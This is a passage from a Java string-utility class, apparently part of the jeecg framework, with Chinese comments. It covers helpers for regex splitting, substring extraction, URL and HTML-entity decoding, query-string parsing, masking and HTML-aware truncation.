sf + \"></\" + pt + \">\";\n\t\t\tsf3 = str.substring(sa[0].length() + sf.length() + 2);\n\t\t\tstr = sa[0] + sf2 + sf3;\n\t\t\tsa = null;\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * \n\t * 得到字符串的子串位置序列\n\t * \n\t * @param str\n\t *            字符串\n\t * @param sub\n\t *            子串\n\t * @param b\n\t *            true子串前端,false子串后端\n\t * @return 字符串的子串位置序列\n\t */\n\tpublic static int[] getSubStringPos(String str, String sub, boolean b) {\n\t\t// int[] i = new int[(new Integer((str.length()-stringReplace( str , sub\n\t\t// , \"\" ).length())/sub.length())).intValue()] ;\n\t\tString[] sp = null;\n\t\tint l = sub.length();\n\t\tsp = splitString(str, sub);\n\t\tif (sp == null) {\n\t\t\treturn null;\n\t\t}\n\t\tint[] ip = new int[sp.length - 1];\n\t\tfor (int i = 0; i < sp.length - 1; i++) {\n\t\t\tip[i] = sp[i].length() + l;\n\t\t\tif (i != 0) {\n\t\t\t\tip[i] += ip[i - 1];\n\t\t\t}\n\t\t}\n\t\tif (b) {\n\t\t\tfor (int j = 0; j < ip.length; j++) {\n\t\t\t\tip[j] = ip[j] - l;\n\t\t\t}\n\t\t}\n\t\treturn ip;\n\t}\n\n\t/**\n\t * \n\t * 根据正则表达式分割字符串\n\t * \n\t * @param str\n\t *            源字符串\n\t * @param ms\n\t *            正则表达式\n\t * @return 目标字符串组\n\t */\n\tpublic static String[] splitString(String str, String ms) {\n\t\tString regEx = ms;\n\t\tPattern p = Pattern.compile(regEx, Pattern.CASE_INSENSITIVE);\n\t\tString[] sp = p.split(str);\n\t\treturn sp;\n\t}\n\n\t/**\n\t * 根据正则表达式提取字符串,相同的字符串只返回一个\n\t * \n\t * @param str源字符串\n\t * @param pattern\n\t *            正则表达式\n\t * @return 目标字符串数据组\n\t ************************************************************************* \n\t */\n\n\t// ★传入一个字符串，把符合pattern格式的字符串放入字符串数组\n\t// java.util.regex是一个用正则表达式所订制的模式来对字符串进行匹配工作的类库包\n\tpublic static String[] getStringArrayByPattern(String str, String pattern) {\n\t\tPattern p = Pattern.compile(pattern, Pattern.CASE_INSENSITIVE);\n\t\tMatcher matcher = p.matcher(str);\n\t\t// 范型\n\t\tSet<String> result = new HashSet<String>();// 目的是：相同的字符串只返回一个。。。 不重复元素\n\t\t// boolean find() 尝试在目标字符串里查找下一个匹配子串。\n\t\twhile (matcher.find()) {\n\t\t\tfor (int i = 0; i < matcher.groupCount(); i++) { // int groupCount()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 返回当前查找所获得的匹配组的数量。\n\t\t\t\t// org.jeecgframework.core.util.LogUtil.info(matcher.group(i));\n\t\t\t\tresult.add(matcher.group(i));\n\n\t\t\t}\n\t\t}\n\t\tString[] resultStr = null;\n\t\tif (result.size() > 0) {\n\t\t\tresultStr = new String[result.size()];\n\t\t\treturn result.toArray(resultStr);// 将Set result转化为String[] resultStr\n\t\t}\n\t\treturn resultStr;\n\n\t}\n\n\t/**\n\t * 得到第一个b,e之间的字符串,并返回e后的子串\n\t * \n\t * @param s\n\t *            源字符串\n\t * @param b\n\t *            标志开始\n\t * @param e\n\t *            标志结束\n\t * @return b,e之间的字符串\n\t */\n\n\t/*\n\t * String aaa=\"abcdefghijklmn\"; String[] bbb=StringProcessor.midString(aaa,\n\t * \"b\",\"l\");\n\t * org.jeecgframework.core.util.LogUtil.info(\"bbb[0]:\"+bbb[0]);//cdefghijk\n\t * org.jeecgframework.core.util.LogUtil.info(\"bbb[1]:\"+bbb[1]);//lmn\n\t * ★这个方法是得到第二个参数和第三个参数之间的字符串,赋给元素0;然后把元素0代表的字符串之后的,赋给元素1\n\t */\n\n\t/*\n\t * String aaa=\"abcdefgllhijklmn5465\"; String[]\n\t * bbb=StringProcessor.midString(aaa, \"b\",\"l\"); //ab cdefg llhijklmn5465 //\n\t * 元素0 元素1\n\t */\n\tpublic static String[] midString(String s, String b, String e) {\n\t\tint i = s.indexOf(b) + b.length();\n\t\tint j = s.indexOf(e, i);\n\t\tString[] sa = new String[2];\n\t\tif (i < b.length() || j < i + 1 || i > j) {\n\t\t\tsa[1] = s;\n\t\t\tsa[0] = null;\n\t\t\treturn sa;\n\t\t} else {\n\t\t\tsa[0] = s.substring(i, j);\n\t\t\tsa[1] = s.substring(j);\n\t\t\treturn sa;\n\t\t}\n\t}\n\n\t/**\n\t * 带有前一次替代序列的正则表达式替代\n\t * \n\t * @param s\n\t * @param pf\n\t * @param pb\n\t * @param start\n\t * @return\n\t */\n\tpublic static String stringReplace(String s, String pf, String pb, int start) {\n\t\tPattern pattern_hand = Pattern.compile(pf);\n\t\tMatcher matcher_hand = pattern_hand.matcher(s);\n\t\tint gc = matcher_hand.groupCount();\n\t\tint pos = start;\n\t\tString sf1 = \"\";\n\t\tString sf2 = \"\";\n\t\tString sf3 = \"\";\n\t\tint if1 = 0;\n\t\tString strr = \"\";\n\t\twhile (matcher_hand.find(pos)) {\n\t\t\tsf1 = matcher_hand.group();\n\t\t\tif1 = s.indexOf(sf1, pos);\n\t\t\tif (if1 >= pos) {\n\t\t\t\tstrr += s.substring(pos, if1);\n\t\t\t\tpos = if1 + sf1.length();\n\t\t\t\tsf2 = pb;\n\t\t\t\tfor (int i = 1; i <= gc; i++) {\n\t\t\t\t\tsf3 = \"\\\\\" + i;\n\t\t\t\t\tsf2 = replaceAll(sf2, sf3, matcher_hand.group(i));\n\t\t\t\t}\n\t\t\t\tstrr += sf2;\n\t\t\t} else {\n\t\t\t\treturn s;\n\t\t\t}\n\t\t}\n\t\tstrr = s.substring(0, start) + strr;\n\t\treturn strr;\n\t}\n\n\t/**\n\t * 存文本替换\n\t * \n\t * @param s\n\t *            源字符串\n\t * @param sf\n\t *            子字符串\n\t * @param sb\n\t *            替换字符串\n\t * @return 替换后的字符串\n\t */\n\tpublic static String replaceAll(String s, String sf, String sb) {\n\t\tint i = 0, j = 0;\n\t\tint l = sf.length();\n\t\tboolean b = true;\n\t\tboolean o = true;\n\t\tString str = \"\";\n\t\tdo {\n\t\t\tj = i;\n\t\t\ti = s.indexOf(sf, j);\n\t\t\tif (i > j) {\n\t\t\t\tstr += s.substring(j, i);\n\t\t\t\tstr += sb;\n\t\t\t\ti += l;\n\t\t\t\to = false;\n\t\t\t} else {\n\t\t\t\tstr += s.substring(j);\n\t\t\t\tb = false;\n\t\t\t}\n\t\t} while (b);\n\t\tif (o) {\n\t\t\tstr = s;\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * 判断是否与给定字符串样式匹配\n\t * \n\t * @param str\n\t *            字符串\n\t * @param pattern\n\t *            正则表达式样式\n\t * @return 是否匹配是true,否false\n\t */\n\tpublic static boolean isMatch(String str, String pattern) {\n\t\tPattern pattern_hand = Pattern.compile(pattern);\n\t\tMatcher matcher_hand = pattern_hand.matcher(str);\n\t\tboolean b = matcher_hand.matches();\n\t\treturn b;\n\t}\n\n\t/**\n\t * 截取字符串\n\t * \n\t * @param s\n\t *            源字符串\n\t * @param jmp\n\t *            跳过jmp\n\t * @param sb\n\t *            取在sb\n\t * @param se\n\t *            于se\n\t * @return 之间的字符串\n\t */\n\tpublic static String subStringExe(String s, String jmp, String sb, String se) {\n\t\tif (isEmpty(s)) {\n\t\t\treturn \"\";\n\t\t}\n\t\tint i = s.indexOf(jmp);\n\t\tif (i >= 0 && i < s.length()) {\n\t\t\ts = s.substring(i + 1);\n\t\t}\n\t\ti = s.indexOf(sb);\n\t\tif (i >= 0 && i < s.length()) {\n\t\t\ts = s.substring(i + 1);\n\t\t}\n\t\tif (se == \"\") {\n\t\t\treturn s;\n\t\t} else {\n\t\t\ti = s.indexOf(se);\n\t\t\tif (i >= 0 && i < s.length()) {\n\t\t\t\ts = s.substring(i + 1);\n\t\t\t}\n\t\t\treturn s;\n\t\t}\n\t}\n\n\t/**\n\t * *************************************************************************\n\t * 用要通过URL传输的内容进行编码\n\t * \n\t * @param 源字符串\n\t * @return 经过编码的内容\n\t ************************************************************************* \n\t */\n\tpublic static String URLEncode(String src) {\n\t\tString return_value = \"\";\n\t\ttry {\n\t\t\tif (src != null) {\n\t\t\t\treturn_value = URLEncoder.encode(src, \"GBK\");\n\n\t\t\t}\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn_value = src;\n\t\t}\n\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * *************************************************************************\n\t * \n\t * @author Wujun\n\t * @param 传入\n\t *            &#31119;test&#29031;&#27004;&#65288;&#21271;&#22823;&#38376;&#\n\t *            24635 ;&#24215;&#65289;&#31119;\n\t * @return 经过解码的内容\n\t ************************************************************************* \n\t */\n\tpublic static String getGBK(String str) {\n\n\t\treturn transfer(str);\n\t}\n\n\tpublic static String transfer(String str) {\n\t\tPattern p = Pattern.compile(\"&#\\\\d+;\");\n\t\tMatcher m = p.matcher(str);\n\t\twhile (m.find()) {\n\t\t\tString old = m.group();\n\t\t\tstr = str.replaceAll(old, getChar(old));\n\t\t}\n\t\treturn str;\n\t}\n\n\tpublic static String getChar(String str) {\n\t\tString dest = str.substring(2, str.length() - 1);\n\t\tchar ch = (char) Integer.parseInt(dest);\n\t\treturn \"\" + ch;\n\t}\n\n\t/**\n\t * yahoo首页中切割字符串.\n\t * \n\t * @author Wujun\n\t * @date 2007-09-17\n\t * @param str\n\t * @return\n\t */\n\tpublic static String subYhooString(String subject, int size) {\n\t\tsubject = subject.substring(1, size);\n\t\treturn subject;\n\t}\n\n\tpublic static String subYhooStringDot(String subject, int size) {\n\t\tsubject = subject.substring(1, size) + \"...\";\n\t\treturn subject;\n\t}\n\n\t/**\n\t * 泛型方法(通用)，把list转换成以“,”相隔的字符串 调用时注意类型初始化（申明类型） 如：List<Integer> intList =\n\t * new ArrayList<Integer>(); 调用方法：StringUtil.listTtoString(intList);\n\t * 效率：list中4条信息，1000000次调用时间为850ms左右\n\t * \n\t * @author Wujun\n\t * @serialData 2008-01-09\n\t * @param <T>\n\t *            泛型\n\t * @param list\n\t *            list列表\n\t * @return 以“,”相隔的字符串\n\t */\n\tpublic static <T> String listTtoString(List<T> list) {\n\t\tif (list == null || list.size() < 1)\n\t\t\treturn \"\";\n\t\tIterator<T> i = list.iterator();\n\t\tif (!i.hasNext())\n\t\t\treturn \"\";\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (;;) {\n\t\t\tT e = i.next();\n\t\t\tsb.append(e);\n\t\t\tif (!i.hasNext())\n\t\t\t\treturn sb.toString();\n\t\t\tsb.append(\",\");\n\t\t}\n\t}\n\n\t/**\n\t * 把整形数组转换成以“,”相隔的字符串\n\t * \n\t * @author Wujun\n\t * @serialData 2008-01-08\n\t * @param a\n\t *            数组a\n\t * @return 以“,”相隔的字符串\n\t */\n\tpublic static String intArraytoString(int[] a) {\n\t\tif (a == null)\n\t\t\treturn \"\";\n\t\tint iMax = a.length - 1;\n\t\tif (iMax == -1)\n\t\t\treturn \"\";\n\t\tStringBuilder b = new StringBuilder();\n\t\tfor (int i = 0;; i++) {\n\t\t\tb.append(a[i]);\n\t\t\tif (i == iMax)\n\t\t\t\treturn b.toString();\n\t\t\tb.append(\",\");\n\t\t}\n\t}\n\n\t/**\n\t * 判断文字内容重复\n\t * \n\t * @author Wujun\n\t * @Date 2008-04-17\n\t */\n\tpublic static boolean isContentRepeat(String content) {\n\t\tint similarNum = 0;\n\t\tint forNum = 0;\n\t\tint subNum = 0;\n\t\tint thousandNum = 0;\n\t\tString startStr = \"\";\n\t\tString nextStr = \"\";\n\t\tboolean result = false;\n\t\tfloat endNum = (float) 0.0;\n\t\tif (content != null && content.length() > 0) {\n\t\t\tif (content.length() % 1000 > 0)\n\t\t\t\tthousandNum = (int) Math.floor(content.length() / 1000) + 1;\n\t\t\telse\n\t\t\t\tthousandNum = (int) Math.floor(content.length() / 1000);\n\t\t\tif (thousandNum < 3)\n\t\t\t\tsubNum = 100 * thousandNum;\n\t\t\telse if (thousandNum < 6)\n\t\t\t\tsubNum = 200 * thousandNum;\n\t\t\telse if (thousandNum < 9)\n\t\t\t\tsubNum = 300 * thousandNum;\n\t\t\telse\n\t\t\t\tsubNum = 3000;\n\t\t\tfor (int j = 1; j < subNum; j++) {\n\t\t\t\tif (content.length() % j > 0)\n\t\t\t\t\tforNum = (int) Math.floor(content.length() / j) + 1;\n\t\t\t\telse\n\t\t\t\t\tforNum = (int) Math.floor(content.length() / j);\n\t\t\t\tif (result || j >= content.length())\n\t\t\t\t\tbreak;\n\t\t\t\telse {\n\t\t\t\t\tfor (int m = 0; m < forNum; m++) {\n\t\t\t\t\t\tif (m * j > content.length()\n\t\t\t\t\t\t\t\t|| (m + 1) * j > content.length()\n\t\t\t\t\t\t\t\t|| (m + 2) * j > content.length())\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tstartStr = content.substring(m * j, (m + 1) * j);\n\t\t\t\t\t\tnextStr = content.substring((m + 1) * j, (m + 2) * j);\n\t\t\t\t\t\tif (startStr.equals(nextStr)) {\n\t\t\t\t\t\t\tsimilarNum = similarNum + 1;\n\t\t\t\t\t\t\tendNum = (float) similarNum / forNum;\n\t\t\t\t\t\t\tif (endNum > 0.4) {\n\t\t\t\t\t\t\t\tresult = true;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t\tsimilarNum = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * 判断是否是空字符串 null和\"\" null返回result,否则返回字符串\n\t * \n\t * @param s\n\t * @return\n\t */\n\tpublic static String isEmpty(String s, String result) {\n\t\tif (s != null && !s.equals(\"\")) {\n\t\t\treturn s;\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * 判断对象是否为空\n\t * \n\t * @param str\n\t * @return\n\t */\n\tpublic static boolean isNotEmpty(Object str) {\n\t\tboolean flag = true;\n\t\tif (str != null && !str.equals(\"\")) {\n\t\t\tif (str.toString().length() > 0) {\n\t\t\t\tflag = true;\n\t\t\t}\n\t\t} else {\n\t\t\tflag = false;\n\t\t}\n\t\treturn flag;\n\t}\n\n\t/**\n\t * 全角字符变半角字符\n\t * \n\t * @author Wujun\n\t * @date 2008-04-03\n\t * @param str\n\t * @return\n\t */\n\tpublic static String full2Half(String str) {\n\t\tif (str == null || \"\".equals(str))\n\t\t\treturn \"\";\n\t\tStringBuffer sb = new StringBuffer();\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\tchar c = str.charAt(i);\n\n\t\t\tif (c >= 65281 && c < 65373)\n\t\t\t\tsb.append((char) (c - 65248));\n\t\t\telse\n\t\t\t\tsb.append(str.charAt(i));\n\t\t}\n\n\t\treturn sb.toString();\n\n\t}\n\n\t/**\n\t * 全角括号转为半角\n\t * \n\t * @author Wujun\n\t * @date 2007-11-29\n\t * @param str\n\t * @return\n\t */\n\tpublic static String replaceBracketStr(String str) {\n\t\tif (str != null && str.length() > 0) {\n\t\t\tstr = str.replaceAll(\"（\", \"(\");\n\t\t\tstr = str.replaceAll(\"）\", \")\");\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * 解析字符串返回map键值对(例：a=1&b=2 => a=1,b=2)\n\t * \n\t * @param query\n\t *            源参数字符串\n\t * @param split1\n\t *            键值对之间的分隔符（例：&）\n\t * @param split2\n\t *            key与value之间的分隔符（例：=）\n\t * @param dupLink\n\t *            重复参数名的参数值之间的连接符，连接后的字符串作为该参数的参数值，可为null\n\t *            null：不允许重复参数名出现，则靠后的参数值会覆盖掉靠前的参数值。\n\t * @return map\n\t * @author Wujun\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static Map<String, String> parseQuery(String query, char split1,\n\t\t\tchar split2, String dupLink) {\n\t\tif (!isEmpty(query) && query.indexOf(split2) > 0) {\n\t\t\tMap<String, String> result = new HashMap();\n\n\t\t\tString name = null;\n\t\t\tString value = null;\n\t\t\tString tempValue = \"\";\n\t\t\tint len = query.length();\n\t\t\tfor (int i = 0; i < len; i++) {\n\t\t\t\tchar c = query.charAt(i);\n\t\t\t\tif (c == split2) {\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t} else if (c == split1) {\n\t\t\t\t\tif (!isEmpty(name) && value != null) {\n\t\t\t\t\t\tif (dupLink != null) {\n\t\t\t\t\t\t\ttempValue = result.get(name);\n\t\t\t\t\t\t\tif (tempValue != null) {\n\t\t\t\t\t\t\t\tvalue += dupLink + tempValue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tresult.put(name, value);\n\t\t\t\t\t}\n\t\t\t\t\tname = null;\n\t\t\t\t\tvalue = null;\n\t\t\t\t} else if (value != null) {\n\t\t\t\t\tvalue += c;\n\t\t\t\t} else {\n\t\t\t\t\tname = (name != null) ? (name + c) : \"\" + c;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!isEmpty(name) && value != null) {\n\t\t\t\tif (dupLink != null) {\n\t\t\t\t\ttempValue = result.get(name);\n\t\t\t\t\tif (tempValue != null) {\n\t\t\t\t\t\tvalue += dupLink + tempValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tresult.put(name, value);\n\t\t\t}\n\n\t\t\treturn result;\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 将list 用传入的分隔符组装为String\n\t * \n\t * @param list\n\t * @param slipStr\n\t * @return String\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static String listToStringSlipStr(List list, String slipStr) {\n\t\tStringBuffer returnStr = new StringBuffer();\n\t\tif (list != null && list.size() > 0) {\n\t\t\tfor (int i = 0; i < list.size(); i++) {\n\t\t\t\treturnStr.append(list.get(i)).append(slipStr);\n\t\t\t}\n\t\t}\n\t\tif (returnStr.toString().length() > 0)\n\t\t\treturn returnStr.toString().substring(0,\n\t\t\t\t\treturnStr.toString().lastIndexOf(slipStr));\n\t\telse\n\t\t\treturn \"\";\n\t}\n\n\t/**\n\t * 获取从start开始用*替换len个长度后的字符串\n\t * \n\t * @param str\n\t *            要替换的字符串\n\t * @param start\n\t *            开始位置\n\t * @param len\n\t *            长度\n\t * @return 替换后的字符串\n\t */\n\tpublic static String getMaskStr(String str, int start, int len) {\n\t\tif (StringUtil.isEmpty(str)) {\n\t\t\treturn str;\n\t\t}\n\t\tif (str.length() < start) {\n\t\t\treturn str;\n\t\t}\n\n\t\t// 获取*之前的字符串\n\t\tString ret = str.substring(0, start);\n\n\t\t// 获取最多能打的*个数\n\t\tint strLen = str.length();\n\t\tif (strLen < start + len) {\n\t\t\tlen = strLen - start;\n\t\t}\n\n\t\t// 替换成*\n\t\tfor (int i = 0; i < len; i++) {\n\t\t\tret += \"*\";\n\t\t}\n\n\t\t// 加上*之后的字符串\n\t\tif (strLen > start + len) {\n\t\t\tret += str.substring(start + len);\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\t/**\n\t * 根据传入的分割符号,把传入的字符串分割为List字符串\n\t * \n\t * @param slipStr\n\t *            分隔的字符串\n\t * @param src\n\t *            字符串\n\t * @return 列表\n\t */\n\tpublic static List<String> stringToStringListBySlipStr(String slipStr,\n\t\t\tString src) {\n\n\t\tif (src == null)\n\t\t\treturn null;\n\t\tList<String> list = new ArrayList<String>();\n\t\tString[] result = src.split(slipStr);\n\t\tfor (int i = 0; i < result.length; i++) {\n\t\t\tlist.add(result[i]);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 截取字符串\n\t * \n\t * @param str\n\t *            原始字符串\n\t * @param len\n\t *            要截取的长度\n\t * @param tail\n\t *            结束加上的后缀\n\t * @return 截取后的字符串\n\t */\n\tpublic static String getHtmlSubString(String str, int len, String tail) {\n\t\tif (str == null || str.length() <= len) {\n\t\t\treturn str;\n\t\t}\n\t\tint length = str.length();\n\t\tchar c = ' ';\n\t\tString tag = null;\n\t\tString name = null;\n\t\tint size = 0;\n\t\tString result = \"\";\n\t\tboolean isTag = false;\n\t\tList<String> tags = new ArrayList<String>();\n\t\tint i = 0;\n\t\tfor (int end = 0, spanEnd = 0; i < length && len > 0; i++) {\n\t\t\tc = str.charAt(i);\n\t\t\tif (c == '<') {\n\t\t\t\tend = str.indexOf('>', i);\n\t\t\t}\n\n\t\t\tif (end > 0) {\n\t\t\t\t// 截取标签\n\t\t\t\ttag = str.substring(i, end + 1);\n\t\t\t\tint n = tag.length();\n\t\t\t\tif (tag.endsWith(\"/>\")) {\n\t\t\t\t\tisTag = true;\n\t\t\t\t} else if (tag.startsWith(\"</\")) { // 结束符\n\t\t\t\t\tname = tag.substring(2, end - i);\n\t\t\t\t\tsize = tags.size() - 1;\n\t\t\t\t\t// 堆栈取出html开始标签\n\t\t\t\t\tif (size >= 0 && name.equals(tags.get(size))) {\n\t\t\t\t\t\tisTag = true;\n\t\t\t\t\t\ttags.remove(size);\n\t\t\t\t\t}\n\t\t\t\t} else { // 开始符\n\t\t\t\t\tspanEnd = tag.indexOf(' ', 0);\n\t\t\t\t\tspanEnd = spanEnd > 0 ? spanEnd : n;\n\t\t\t\t\tname = tag.substring(1, spanEnd);\n\t\t\t\t\tif (name.trim().length() > 0) {\n\t\t\t\t\t\t// 如果有结束符则为html标签\n\t\t\t\t\t\tspanEnd = str.indexOf(\"</\" + name + \">\", end);\n\t\t\t\t\t\tif (spanEnd > 0) {\n\t\t\t\t\t\t\tisTag = true;\n\t\t\t\t\t\t\ttags.add(name);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// 非html标签字符\n\t\t\t\tif (!isTag) {\n\t\t\t\t\tif (n >= len) {\n\t\t\t\t\t\tresult += tag.substring(0, len);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlen -= n;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult += tag;\n\t\t\t\tisTag = false;\n\t\t\t\ti = end;\n\t\t\t\tend = 0;\n\t\t\t} else { // 非html标签字符\n\t\t\t\tlen--;\n\t\t\t\tresult += c;\n\t\t\t}\n\t\t}\n\t\t// 添加未结束的html标签\n\t\tfor (String endTag : tags) {\n\t\t\tresult += \"</\" + endTag + \">\";\n\t\t}\n\t\tif (i < length) {\n\t\t\tresult += tail;\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static String getProperty(String property) {\n\t\tif (property.contains(\"_\")) {\n\t\t\treturn property.replaceAll(\"_\", \"\\\\.\");\n\t\t}\n\t\treturn property;\n\t}\n\n\t/**\n\t * 解析前台encodeURIComponent编码后的参数\n\t * \n\t * @param encodeURIComponent\n\t *            (encodeURIComponent(no))\n\t * @return\n\t */\n\tpublic static String getEncodePra(String property) {\n\t\tString trem = \"\";\n\t\tif (isNotEmpty(property)) {\n\t\t\ttry {\n\t\t\t\ttrem = URLDecoder.decode(property, \"UTF-8\");\n\t\t\t} catch (UnsupportedEncodingException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn trem;\n\t}\n\n\t// 判断一个字符串是否都为数字\n\tpublic boolean isDigit(String strNum) {\n\t\tPattern pattern = Pattern.compile(\"[0-9]{1,}\");\n\t\tMatcher matcher = pattern.matcher((CharSequence) strNum);\n\t\treturn matcher.matches();\n\t}\n\n\t// 截取数字\n\tpublic String getNumbers(String content) {\n\t\tPattern pattern = Pattern.compile(\"\\\\d+\");\n\t\tMatcher matcher = pattern.matcher(content);\n\t\twhile (matcher.find()) {\n\t\t\treturn matcher.group(0);\n\t\t}\n\t\treturn \"\";\n\t}\n\n\t// 截取非数字\n\tpublic String splitNotNumber(String content) {\n\t\tPattern pattern = Pattern.compile(\"\\\\D+\");\n\t\tMatcher matcher = pattern.matcher(content);\n\t\twhile (matcher.find()) {\n\t\t\treturn matcher.group(0);\n\t\t}\n\t\treturn \"\";\n\t}\n\n\t/**\n\t * 判断某个字符串是否存在于数组中\n\t * \n\t * @param stringArray\n\t *            原数组\n\t * @param source\n\t *            查找的字符串\n\t * @return 是否找到\n\t */\n\tpublic static boolean contains(String[] stringArray, String source) {\n\t\t// 转换为list\n\t\tList<String> tempList = Arrays.asList(stringArray);\n\n\t\t// 利用list的包含方法,进行判断\n\t\tif (tempList.contains(source)) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * html 必须是格式良好的\n\t * \n\t * @param str\n\t * @return\n\t * @throws Exception\n\t */\n\t// public static String formatHtml(String str) throws Exception {\n\t// Document document = null;\n\t// document = DocumentHelper.parseText(str);\n\t//\n\t// OutputFormat format = OutputFormat.createPrettyPrint();\n\t// format.setEncoding(\"utf-8\");\n\t// StringWriter writer = new StringWriter();\n\t//\n\t// HTMLWriter htmlWriter = new HTMLWriter(writer, format);\n\t//\n\t// htmlWriter.write(document);\n\t// htmlWriter.close();\n\t// return writer.toString();\n\t// }\n\n\t/**\n\t * 首字母大写\n\t * \n\t * @param realName\n\t * @return\n\t */\n\tpublic static String firstUpperCase(String realName) {\n\t\treturn StringUtils.replaceChars(realName, realName.substring(0, 1),\n\t\t\t\trealName.substring(0, 1).toUpperCase());\n\t}\n\n\t/**\n\t * 首字母小写\n\t * \n\t * @param realName\n\t * @return\n\t */\n\tpublic static String firstLowerCase(String realName) {\n\t\treturn StringUtils.replaceChars(realName, realName.substring(0, 1),\n\t\t\t\trealName.substring(0, 1).toLowerCase());\n\t}\n\n\t/**\n\t * 判断这个类是不是java自带的类\n\t * \n\t * @param clazz\n\t * @return\n\t */\n\tpublic static boolean isJavaClass(Class<?> clazz) {\n\t\tboolean isBaseClass = false;\n\t\tif (clazz.isArray()) {\n\t\t\tisBaseClass = false;\n\t\t} else if (clazz.isPrimitive() || clazz.getPackage() == null\n\t\t\t\t|| clazz.getPackage().getName().equals(\"java.lang\")\n\t\t\t\t|| clazz.getPackage().getName().equals(\"java.math\")\n\t\t\t\t|| clazz.getPackage().getName().equals(\"java.util\")) {\n\t\t\tisBaseClass = true;\n\t\t}\n\t\treturn isBaseClass;\n\t}\n\n\t/**\n\t * 是否为空或空格\n\t * \n\t * @param s\n\t * @return\n\t */\n\tpublic static boolean isEmptyOrSpace(String s) {\n\t\ts = s.trim();\n\t\tif (s != null && !s.equals(\"\")) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * 检查字符串是否包含字符(字符包括空字符{@link Character#isWhitespace(char)}).\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.isNotEmpty(null)      = false\n\t * StringUtil.isNotEmpty(&quot;&quot;)        = false\n\t * StringUtil.isNotEmpty(&quot; &quot;)       = true\n\t * StringUtil.isNotEmpty(&quot;bob&quot;)     = true\n\t * StringUtil.isNotEmpty(&quot;  bob  &quot;) = true\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被检查的字符串, 可以为<code>null</code>\n\t * @return 当被检查的字符串包含字符时, 返回<code>true</code>,否则返回<code>false</code>\n\t */\n\tpublic static boolean isNotEmpty(String str) {\n\t\treturn !isEmpty(str);\n\t}\n\n\t/**\n\t * 检查字符串是否为空字符(\"\")、<code>null</code>或全为空白字符(\n\t * {@link Character#isWhitespace(char)}).\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.isBlank(null)      = true\n\t * StringUtil.isBlank(&quot;&quot;)        = true\n\t * StringUtil.isBlank(&quot; &quot;)       = true\n\t * StringUtil.isBlank(&quot;   &quot;)     = true\n\t * StringUtil.isBlank(&quot;bob&quot;)     = false\n\t * StringUtil.isBlank(&quot;  bob  &quot;) = false\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被检查的字符串, 可以为<code>null</code>\n\t * @return 当被检查的字符串为空字符(\"\")、<code>null</code>或全为空白字符(\n\t *         {@link Character#isWhitespace(char)})时, 返回<code>true</code>,否则返回\n\t *         <code>false</code>\n\t */\n\tpublic static boolean isBlank(String str) {\n\t\tint strLen;\n\t\tif (str == null || (strLen = str.length()) == 0) {\n\t\t\treturn true;\n\t\t}\n\t\tfor (int i = 0; i < strLen; i++) {\n\t\t\tif ((Character.isWhitespace(str.charAt(i)) == false)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * 检查字符串是否包含非空白字符({@link Character#isWhitespace(char)}).\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.isNotBlank(null)      = false\n\t * StringUtil.isNotBlank(&quot;&quot;)        = false\n\t * StringUtil.isNotBlank(&quot; &quot;)       = false\n\t * StringUtil.isNotBlank(&quot;   &quot;)     = false\n\t * StringUtil.isNotBlank(&quot;bob&quot;)     = true\n\t * StringUtil.isNotBlank(&quot;  bob  &quot;) = true\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被检查的字符串, 可以为<code>null</code>\n\t * @return 当被检查的字符串包含非空白字符({@link Character#isWhitespace(char)})时, 返回\n\t *         <code>true</code>,否则返回<code>false</code>\n\t */\n\tpublic static boolean isNotBlank(String str) {\n\t\treturn !isBlank(str);\n\t}\n\n\t// Trim\n\t// -----------------------------------------------------------------------\n\t/**\n\t * 删除输入字符串头和尾的控制字符(char &lt;= 32), 输入<code>null</code>的话, 直接返回\n\t * <code>null</code>.\n\t * \n\t * <p>\n\t * 使用{@link String#trim()}来实现删除字符串头和尾的控制字符.\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * 